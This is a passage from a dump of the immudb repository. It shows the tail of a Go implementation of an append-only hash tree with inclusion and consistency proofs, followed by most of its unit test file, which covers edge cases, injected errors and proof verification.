{\n\t\t\t\t\tp, err := t.consistencyProof(i, k, h)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\n\t\t\t\t\tproof = append(p, proof...)\n\t\t\t\t}\n\n\t\t\t\tif i == k {\n\t\t\t\t\thNode, err := t.highestNode(i, h)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\t\t\t\t\tproof = append([][sha256.Size]byte{hNode}, proof...)\n\t\t\t\t}\n\n\t\t\t\treturn proof, nil\n\t\t\t}\n\n\t\t\tn, err := t.node(k, h)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tproof = append([][sha256.Size]byte{n}, proof...)\n\n\t\t\tif i == j {\n\t\t\t\thNode, err := t.highestNode(i, h)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tproof = append([][sha256.Size]byte{hNode}, proof...)\n\t\t\t\treturn proof, nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn proof, nil\n}\n\nfunc (t *AHtree) highestNode(i uint64, d int) ([sha256.Size]byte, error) {\n\tl := 0\n\tfor r := d - 1; r >= 0; r-- {\n\t\tif (i-1)&(1<<r) > 0 {\n\t\t\tl++\n\t\t}\n\t}\n\treturn t.node(i, l)\n}\n\nfunc (t *AHtree) Size() uint64 {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\treturn t.size()\n}\n\nfunc (t *AHtree) size() uint64 {\n\treturn uint64(t.cLogSize / cLogEntrySize)\n}\n\nfunc (t *AHtree) DataAt(n uint64) ([]byte, error) {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tif t.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\tif n < 1 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif n > t.size() {\n\t\treturn nil, ErrUnexistentData\n\t}\n\n\tif n > t.latestSyncedNode {\n\t\terr := t.sync()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tv, err := t.pCache.Get(n)\n\n\tif err == nil {\n\t\treturn v.([]byte), nil\n\t}\n\n\tif err != cache.ErrKeyNotFound {\n\t\treturn nil, err\n\t}\n\n\tvar b [cLogEntrySize]byte\n\t_, err = t.cLog.ReadAt(b[:], int64((n-1)*cLogEntrySize))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpOff := binary.BigEndian.Uint64(b[:])\n\tpSize := binary.BigEndian.Uint32(b[offsetSize:])\n\n\tp := make([]byte, pSize)\n\t_, err = t.pLog.ReadAt(p[:], int64(pOff+szSize))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, _, err = t.pCache.Put(n, p)\n\n\treturn p, err\n}\n\nfunc (t *AHtree) Root() (n uint64, r [sha256.Size]byte, err error) {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tif t.cLogSize == 0 {\n\t\terr = ErrEmptyTree\n\t\treturn\n\t}\n\n\tn = t.size()\n\tr, err = t.rootAt(n)\n\n\treturn\n}\n\nfunc (t *AHtree) RootAt(n uint64) (r [sha256.Size]byte, err error) {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\treturn t.rootAt(n)\n}\n\nfunc (t *AHtree) rootAt(n uint64) (r [sha256.Size]byte, err error) {\n\tif t.closed {\n\t\terr = ErrAlreadyClosed\n\t\treturn\n\t}\n\n\tif n == 0 {\n\t\terr = ErrIllegalArguments\n\t\treturn\n\t}\n\n\tif t.cLogSize == 0 {\n\t\terr = ErrEmptyTree\n\t\treturn\n\t}\n\n\tif n > t.size() {\n\t\terr = ErrUnexistentData\n\t\treturn\n\t}\n\n\treturn t.nodeAt(nodesUntil(n) + uint64(levelsAt(n)))\n}\n\nfunc (t *AHtree) Sync() error {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tif t.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif t.readOnly {\n\t\treturn ErrReadOnly\n\t}\n\n\treturn t.sync()\n}\n\nfunc (t *AHtree) sync() error {\n\tif t.cLogBufCount == 0 {\n\t\treturn nil\n\t}\n\n\terr := t.pLog.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = t.pLog.Sync()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = t.dLog.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = t.dLog.Sync()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// will overwrite partially written and uncommitted data\n\terr = t.cLog.SetOffset(int64(t.latestSyncedNode) * cLogEntrySize)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, _, err = t.cLog.Append(t.cLogBuf[:t.cLogBufCount*cLogEntrySize])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = t.cLog.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = t.cLog.Sync()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tt.latestSyncedNode += uint64(t.cLogBufCount)\n\tt.cLogBufCount = 0\n\n\treturn nil\n}\n\nfunc (t *AHtree) Close() error {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tif t.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tt.closed = true\n\n\tmerrors := multierr.NewMultiErr()\n\n\terr := t.sync()\n\tmerrors.Append(err)\n\n\terr = t.pLog.Close()\n\tmerrors.Append(err)\n\n\terr = t.dLog.Close()\n\tmerrors.Append(err)\n\n\terr = t.cLog.Close()\n\tmerrors.Append(err)\n\n\treturn merrors.Reduce()\n}\n"
  },
  {
    "path": "embedded/ahtree/ahtree_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage ahtree\n\nimport (\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/mocked\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/stretchr/testify/suite\"\n)\n\nfunc TestNodeNumberCalculation(t *testing.T) {\n\tvar nodesUptoTests = []struct {\n\t\tn        uint64\n\t\texpected uint64\n\t}{\n\t\t{1, 1},\n\t\t{2, 3},\n\t\t{3, 5},\n\t\t{4, 8},\n\t\t{5, 10},\n\t\t{6, 13},\n\t\t{7, 16},\n\t\t{8, 20},\n\t\t{9, 22},\n\t\t{10, 25},\n\t\t{11, 28},\n\t\t{12, 32},\n\t\t{13, 35},\n\t\t{14, 39},\n\t\t{15, 43},\n\t\t{16, 48},\n\t}\n\n\tfor _, tt := range nodesUptoTests {\n\t\tactual := nodesUpto(tt.n)\n\t\trequire.Equal(t, tt.expected, actual)\n\n\t\trequire.Equal(t, tt.expected, nodesUntil(tt.n)+uint64(levelsAt(tt.n))+1)\n\t}\n}\n\ntype EdgeCasesTestSuite struct {\n\tsuite.Suite\n\n\tpLog        *mocked.MockedAppendable\n\tcLog        *mocked.MockedAppendable\n\tdLog        *mocked.MockedAppendable\n\tinjectedErr error\n}\n\nfunc TestEdgeCasesTestSuite(t *testing.T) {\n\tsuite.Run(t, new(EdgeCasesTestSuite))\n}\n\nfunc (t *EdgeCasesTestSuite) SetupTest() {\n\n\tdummySetOffset := func(off int64) error {\n\t\treturn nil\n\t}\n\tdummyAppend := func() func([]byte) (int64, int, error) {\n\t\twritten := 0\n\t\treturn func(bs []byte) (int64, int, error) {\n\t\t\toffs := written\n\t\t\twritten += len(bs)\n\t\t\treturn int64(offs), len(bs), nil\n\t\t}\n\t}\n\tdummyFlush := func() error {\n\t\treturn nil\n\t}\n\tdummySync := func() error {\n\t\treturn nil\n\t}\n\tdummySize := func() (int64, error) {\n\t\treturn 0, nil\n\t}\n\n\tdummyClose := func() error {\n\t\treturn nil\n\t}\n\n\tt.pLog = &mocked.MockedAppendable{\n\t\tSizeFn:      dummySize,\n\t\tAppendFn:    dummyAppend(),\n\t\tSetOffsetFn: dummySetOffset,\n\t\tFlushFn:     dummyFlush,\n\t\tCloseFn:     dummyClose,\n\t\tSyncFn:      dummySync,\n\t}\n\n\tt.cLog = &mocked.MockedAppendable{\n\t\tSizeFn:      dummySize,\n\t\tAppendFn:    dummyAppend(),\n\t\tSetOffsetFn: dummySetOffset,\n\t\tFlushFn:     dummyFlush,\n\t\tCloseFn:     dummyClose,\n\t\tSyncFn:      dummySync,\n\t}\n\n\tt.dLog = &mocked.MockedAppendable{\n\t\tSizeFn:      dummySize,\n\t\tAppendFn:    dummyAppend(),\n\t\tSetOffsetFn: dummySetOffset,\n\t\tFlushFn:     dummyFlush,\n\t\tCloseFn:     dummyClose,\n\t\tSyncFn:      dummySync,\n\t}\n\n\tt.injectedErr = errors.New(\"injected error\")\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailOnIllegalArguments() {\n\t_, err := Open(t.T().TempDir(), nil)\n\tt.Require().ErrorIs(err, ErrInvalidOptions)\n\tt.Require().ErrorIs(err, ErrIllegalArguments)\n\n\t_, err = OpenWith(nil, nil, nil, nil)\n\tt.Require().ErrorIs(err, ErrIllegalArguments)\n\n\t_, err = OpenWith(nil, nil, nil, DefaultOptions())\n\tt.Require().ErrorIs(err, ErrIllegalArguments)\n\n\t_, err = OpenWith(t.pLog, t.dLog, t.cLog, nil)\n\tt.Require().ErrorIs(err, ErrIllegalArguments)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailWhileQueryingCLogSize() {\n\tt.cLog.SizeFn = func() (int64, error) {\n\t\treturn 0, t.injectedErr\n\t}\n\n\t_, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailWhileSettingCLogOffset() {\n\tt.cLog.SizeFn = func() (int64, error) {\n\t\treturn cLogEntrySize - 1, nil\n\t}\n\tt.cLog.SetOffsetFn = func(off int64) error {\n\t\treturn t.injectedErr\n\t}\n\n\t_, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldGailWhileSettingPLogOffset() {\n\tt.pLog.SetOffsetFn = func(off int64) error {\n\t\treturn t.injectedErr\n\t}\n\tt.pLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\tt.Require().Fail(\"Should fail before appending data\")\n\t\treturn 0, 0, nil\n\t}\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailWhileAppendingPayloadWritingLength() {\n\tt.pLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\treturn 0, 0, t.injectedErr\n\t}\n\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailWhileAppendingPayloadWritingData() {\n\twritten := 0\n\tt.pLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\toff = int64(written)\n\t\twritten += len(bs)\n\t\tif written > 4 {\n\t\t\treturn 0, 0, t.injectedErr\n\t\t}\n\t\treturn off, len(bs), nil\n\t}\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailFlushingPLog() {\n\tt.pLog.FlushFn = func() error {\n\t\treturn t.injectedErr\n\t}\n\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().NoError(err)\n\n\terr = tree.Sync()\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailOnDLogSetOffset() {\n\tt.dLog.SetOffsetFn = func(off int64) error {\n\t\treturn t.injectedErr\n\t}\n\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailFlushingDLog() {\n\tt.dLog.FlushFn = func() error {\n\t\treturn t.injectedErr\n\t}\n\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().NoError(err)\n\n\terr = tree.Sync()\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailOnCLogSetOffsetDuringAppend() {\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions().WithSyncThld(1))\n\tt.Require().NoError(err)\n\n\tt.cLog.SetOffsetFn = func(off int64) error {\n\t\treturn t.injectedErr\n\t}\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailWritingCLog() {\n\tt.cLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\treturn 0, 0, t.injectedErr\n\t}\n\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions().WithSyncThld(1))\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailFlushingCLog() {\n\tt.cLog.FlushFn = func() error {\n\t\treturn t.injectedErr\n\t}\n\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions().WithSyncThld(2))\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{4, 5, 6})\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailCalculatingHashesOnAppend() {\n\tt.dLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\treturn 0, t.injectedErr\n\t}\n\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().NoError(err)\n\n\ttree.dCache.Pop(uint64(0))\n\n\t_, _, err = tree.Append([]byte{4, 5, 6})\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailWhileValidatingPLogSize() {\n\tt.cLog.SizeFn = func() (int64, error) {\n\t\treturn cLogEntrySize + 1, nil\n\t}\n\tt.cLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tbinary.BigEndian.PutUint64(bs[:], 0)\n\t\tbinary.BigEndian.PutUint32(bs[offsetSize:], 8)\n\t\treturn cLogEntrySize, nil\n\t}\n\tt.pLog.SizeFn = func() (int64, error) {\n\t\treturn 0, nil\n\t}\n\n\t_, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().ErrorIs(err, ErrorCorruptedData)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailWhileValidatingDLogSize() {\n\tt.cLog.SizeFn = func() (int64, error) {\n\t\treturn cLogEntrySize + 1, nil\n\t}\n\tt.cLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tbinary.BigEndian.PutUint64(bs[:], 0)\n\t\tbinary.BigEndian.PutUint32(bs[offsetSize:], 8)\n\t\treturn cLogEntrySize, nil\n\t}\n\tt.pLog.SizeFn = func() (int64, error) {\n\t\treturn szSize + 8, nil\n\t}\n\tt.dLog.SizeFn = func() (int64, error) {\n\t\treturn 0, nil\n\t}\n\n\t_, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().ErrorIs(err, ErrorCorruptedDigests)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailReadingDLogSize() {\n\tt.cLog.SizeFn = func() (int64, error) {\n\t\treturn cLogEntrySize, nil\n\t}\n\tt.cLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tbinary.BigEndian.PutUint64(bs[:], 0)\n\t\tbinary.BigEndian.PutUint32(bs[offsetSize:], 8)\n\t\treturn cLogEntrySize, nil\n\t}\n\tt.pLog.SizeFn = func() (int64, error) {\n\t\treturn szSize + 8, nil\n\t}\n\tt.dLog.SizeFn = func() (int64, error) {\n\t\treturn 0, t.injectedErr\n\t}\n\n\t_, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailReadingPLogSize() {\n\tt.cLog.SizeFn = func() (int64, error) {\n\t\treturn cLogEntrySize, nil\n\t}\n\tt.cLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tbinary.BigEndian.PutUint64(bs[:], 0)\n\t\tbinary.BigEndian.PutUint32(bs[offsetSize:], 8)\n\t\treturn cLogEntrySize, nil\n\t}\n\tt.pLog.SizeFn = func() (int64, error) {\n\t\treturn 0, t.injectedErr\n\t}\n\n\t_, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailReadingLastCLogEntry() {\n\tmetadata := appendable.NewMetadata(nil)\n\tmetadata.PutInt(MetaVersion, Version)\n\n\tt.dLog.MetadataFn = metadata.Bytes\n\tt.cLog.MetadataFn = metadata.Bytes\n\n\tt.cLog.SizeFn = func() (int64, error) {\n\t\treturn cLogEntrySize, nil\n\t}\n\n\tt.cLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\treturn 0, t.injectedErr\n\t}\n\n\t_, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailAppendingToDLog() {\n\tt.dLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\treturn 0, 0, t.injectedErr\n\t}\n\n\ttree, err := OpenWith(t.pLog, t.dLog, t.cLog, DefaultOptions())\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append(nil)\n\tt.Require().ErrorIs(err, ErrIllegalArguments)\n\n\t_, _, err = tree.Append([]byte{1, 2, 3})\n\tt.Require().ErrorIs(err, t.injectedErr)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailDueToInvalidPath() {\n\t_, err := Open(\"options.go\", DefaultOptions())\n\tt.Require().ErrorIs(err, ErrorPathIsNotADirectory)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailDueToInvalidCacheSize() {\n\t_, err := Open(t.T().TempDir(), DefaultOptions().WithDataCacheSlots(-1))\n\tt.Require().ErrorIs(err, ErrInvalidOptions)\n}\n\nfunc (t *EdgeCasesTestSuite) TestShouldFailDueToInvalidDigestsCacheSize() {\n\t_, err := Open(t.T().TempDir(), DefaultOptions().WithDigestsCacheSlots(-1))\n\tt.Require().ErrorIs(err, ErrInvalidOptions)\n}\n\nfunc (t *EdgeCasesTestSuite) TestWithEmptyFiles() {\n\ttree, err := Open(t.T().TempDir(), DefaultOptions())\n\tt.Require().NoError(err)\n\n\tt.Run(\"should fail to get tree root when tree is empty\", func() {\n\t\t_, _, err := tree.Root()\n\t\tt.Require().ErrorIs(err, ErrEmptyTree)\n\n\t\t_, err = tree.rootAt(1)\n\t\tt.Require().ErrorIs(err, ErrEmptyTree)\n\n\t\t_, err = tree.rootAt(0)\n\t\tt.Require().ErrorIs(err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"should fail to get data when tree is empty\", func() {\n\t\t_, err := tree.DataAt(0)\n\t\tt.Require().ErrorIs(err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"should not error when syncing empty tree\", func() {\n\t\terr := tree.Sync()\n\t\tt.Require().NoError(err)\n\t})\n\n\tt.Run(\"should fail on inclusion proof for non-existing root node\", func() {\n\t\t_, err := tree.InclusionProof(1, 2)\n\t\tt.Require().ErrorIs(err, ErrUnexistentData)\n\t})\n\n\terr = tree.Close()\n\tt.Require().NoError(err)\n}\n\nfunc (t *EdgeCasesTestSuite) TestFailAfterClose() {\n\ttree, err := Open(t.T().TempDir(), DefaultOptions())\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append([]byte{1})\n\tt.Require().NoError(err)\n\n\terr = tree.Close()\n\tt.Require().NoError(err)\n\n\t_, _, err = tree.Append(nil)\n\tt.Require().ErrorIs(err, ErrAlreadyClosed)\n\n\t_, err = tree.InclusionProof(1, 2)\n\tt.Require().ErrorIs(err, ErrAlreadyClosed)\n\n\t_, err = tree.ConsistencyProof(1, 2)\n\tt.Require().ErrorIs(err, ErrAlreadyClosed)\n\n\t_, _, err = tree.Root()\n\tt.Require().ErrorIs(err, ErrAlreadyClosed)\n\n\t_, err = tree.rootAt(1)\n\tt.Require().ErrorIs(err, ErrAlreadyClosed)\n\n\t_, err = tree.DataAt(1)\n\tt.Require().ErrorIs(err, ErrAlreadyClosed)\n\n\terr = tree.Sync()\n\tt.Require().ErrorIs(err, ErrAlreadyClosed)\n\n\terr = tree.ResetSize(0)\n\tt.Require().ErrorIs(err, ErrAlreadyClosed)\n\n\terr = tree.Close()\n\tt.Require().ErrorIs(err, ErrAlreadyClosed)\n}\n\nfunc TestReadOnly(t *testing.T) {\n\tdir := t.TempDir()\n\n\ttree, err := Open(dir, DefaultOptions().WithReadOnly(false))\n\trequire.NoError(t, err)\n\terr = tree.Close()\n\trequire.NoError(t, err)\n\n\ttree, err = Open(dir, DefaultOptions().WithReadOnly(true))\n\trequire.NoError(t, err)\n\n\t_, _, err = tree.Append(nil)\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = tree.Sync()\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestAppend(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithDigestsCacheSlots(100).\n\t\tWithDataCacheSlots(100)\n\n\ttree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tN := 100\n\n\tfor i := 1; i <= N; i++ {\n\t\tp := []byte{byte(i)}\n\n\t\t_, _, err := tree.Append(p)\n\t\trequire.NoError(t, err)\n\n\t\tri, err := tree.RootAt(uint64(i))\n\t\trequire.NoError(t, err)\n\n\t\tn, r, err := tree.Root()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i), n)\n\t\trequire.Equal(t, r, ri)\n\n\t\tsz := tree.Size()\n\t\trequire.Equal(t, uint64(i), sz)\n\n\t\trp, err := tree.DataAt(uint64(i))\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, p, rp)\n\n\t\t_, err = tree.RootAt(uint64(i) + 1)\n\t\trequire.ErrorIs(t, err, ErrUnexistentData)\n\n\t\t_, err = tree.DataAt(uint64(i) + 1)\n\t\trequire.ErrorIs(t, err, ErrUnexistentData)\n\t}\n\n\trp, err := tree.DataAt(uint64(1))\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte{byte(1)}, rp)\n\terr = tree.Sync()\n\trequire.NoError(t, err)\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestIntegrity(t *testing.T) {\n\ttree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tN := 1024\n\n\tfor i := 1; i <= N; i++ {\n\t\t_, _, err := tree.Append([]byte{byte(i)})\n\t\trequire.NoError(t, err)\n\t}\n\n\tn, _, err := tree.Root()\n\trequire.NoError(t, err)\n\n\tfor i := uint64(1); i <= n; i++ {\n\t\tr, err := tree.RootAt(i)\n\t\trequire.NoError(t, err)\n\n\t\tfor j := uint64(1); j <= i; j++ {\n\t\t\tiproof, err := tree.InclusionProof(j, i)\n\t\t\trequire.NoError(t, err)\n\n\t\t\td, err := tree.DataAt(j)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tpd := make([]byte, 1+len(d))\n\t\t\tpd[0] = LeafPrefix\n\t\t\tcopy(pd[1:], d)\n\n\t\t\tverifies := VerifyInclusion(iproof, j, i, sha256.Sum256(pd), r)\n\t\t\trequire.True(t, verifies)\n\t\t}\n\t}\n}\n\nfunc TestOpenFail(t *testing.T) {\n\t_, err := Open(\"/dev/null\", DefaultOptions())\n\trequire.Error(t, err)\n\n\troDir := filepath.Join(t.TempDir(), \"ro_dir1\")\n\tos.Mkdir(roDir, 0500)\n\t_, err = Open(filepath.Join(roDir, \"bla\"), DefaultOptions())\n\trequire.Error(t, err)\n\n\t_, err = Open(\"wrongdir\\000\", DefaultOptions())\n\trequire.Error(t, err)\n\n\ttt1Dir := os.TempDir()\n\n\t_, err = Open(tt1Dir, DefaultOptions().WithAppFactory(\n\t\tfunc(rootPath, subPath string, opts *multiapp.Options) (a appendable.Appendable, e error) {\n\t\t\tif subPath == \"tree\" {\n\t\t\t\te = errors.New(\"simulated error\")\n\t\t\t}\n\t\t\treturn\n\t\t}))\n\trequire.Error(t, err)\n\n\t_, err = Open(tt1Dir, DefaultOptions().WithAppFactory(\n\t\tfunc(rootPath, subPath string, opts *multiapp.Options) (a appendable.Appendable, e error) {\n\t\t\tif subPath == \"commit\" {\n\t\t\t\te = errors.New(\"simulated error\")\n\t\t\t}\n\t\t\treturn\n\t\t}))\n\trequire.Error(t, err)\n}\n\nfunc TestInclusionAndConsistencyProofs(t *testing.T) {\n\ttree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tN := 1024\n\n\tfor i := 1; i <= N; i++ {\n\t\t_, r, err := tree.Append([]byte{byte(i)})\n\t\trequire.NoError(t, err)\n\n\t\tiproof, err := tree.InclusionProof(uint64(i), uint64(i))\n\t\trequire.NoError(t, err)\n\n\t\th := sha256.Sum256([]byte{LeafPrefix, byte(i)})\n\n\t\tverifies := VerifyInclusion(iproof, uint64(i), uint64(i), h, r)\n\t\trequire.True(t, verifies)\n\t}\n\n\t_, err = tree.InclusionProof(2, 1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = tree.ConsistencyProof(2, 1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tfor i := 1; i <= N; i++ {\n\t\tfor j := i; j <= N; j++ {\n\t\t\tiproof, err := tree.InclusionProof(uint64(i), uint64(j))\n\t\t\trequire.NoError(t, err)\n\n\t\t\tjroot, err := tree.RootAt(uint64(j))\n\t\t\trequire.NoError(t, err)\n\n\t\t\th := sha256.Sum256([]byte{LeafPrefix, byte(i)})\n\n\t\t\tverifies := VerifyInclusion(iproof, uint64(i), uint64(j), h, jroot)\n\t\t\trequire.True(t, verifies)\n\n\t\t\tcproof, err := tree.ConsistencyProof(uint64(i), uint64(j))\n\t\t\trequire.NoError(t, err)\n\n\t\t\tiroot, err := tree.RootAt(uint64(i))\n\t\t\trequire.NoError(t, err)\n\n\t\t\tverifies = VerifyConsistency(cproof, uint64(i), uint64(j), iroot, jroot)\n\t\t\trequire.True(t, verifies)\n\t\t}\n\t}\n\n\tfor i := 1; i <= N; i++ {\n\t\tiproof, err := tree.InclusionProof(uint64(i), uint64(N))\n\t\trequire.NoError(t, err)\n\n\t\th := sha256.Sum256([]byte{LeafPrefix, byte(i)})\n\t\troot, err := tree.RootAt(uint64(i))\n\t\trequire.NoError(t, err)\n\n\t\tverifies := VerifyLastInclusion(iproof, uint64(i), h, root)\n\n\t\tif i < N {\n\t\t\trequire.False(t, verifies)\n\t\t} else {\n\t\t\trequire.True(t, verifies)\n\t\t}\n\t}\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestReOpenningImmudbStore(t *testing.T) {\n\tdir := t.TempDir()\n\n\tItCount := 5\n\tACount := 100\n\n\tfor it := 0; it < ItCount; it++ {\n\t\ttree, err := Open(dir, DefaultOptions())\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < ACount; i++ {\n\t\t\tp := []byte{byte(i)}\n\n\t\t\t_, _, err := tree.Append(p)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\terr = tree.Close()\n\t\trequire.NoError(t, err)\n\t}\n\n\ttree, err := Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\tfor i := 1; i <= ItCount*ACount; i++ {\n\t\tfor j := i; j <= ItCount*ACount; j++ {\n\t\t\tproof, err := 